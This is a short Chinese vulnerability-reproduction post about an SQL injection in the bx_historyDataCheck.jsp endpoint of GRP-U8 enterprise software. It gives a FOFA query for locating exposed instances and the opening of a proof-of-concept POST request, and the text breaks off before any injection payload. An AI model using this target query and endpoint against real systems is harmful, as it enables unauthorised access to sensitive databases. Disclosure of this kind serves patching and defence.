【漏洞复现】某友GRP-U8 SQL注入

漏洞描述

某友GRP-U8是某友软件推出的企业级管理软件套件，旨在助力企业实现全面数字化管理及业务优化，某友GRP-U8的bx_historyDataCheck.jsp接口对用户传入的参数未进行有效的过滤，直接拼接至SQL查询的语句中，导致SQL注入漏洞，攻击者可利用该漏洞获取数据库的敏感信息

免责声明

技术文章仅供参考，任何个人和组织使用网络应当遵守宪法法律，遵守公共秩序，尊重社会公德，不得利用网络从事危害国家安全、荣誉和利益，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。本文所提供的工具仅用于学习，禁止用于其他！！

资产确定

fofa：app="yonyou-GRP-U8"

漏洞复现

POST /u8qx/bx_historyDataCheck.jsp HTTP/1.1
Host: {
  {Hostname}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5737.226 Safari/537.36 OPR/99.0.3573.120
Connection: close
Content-Type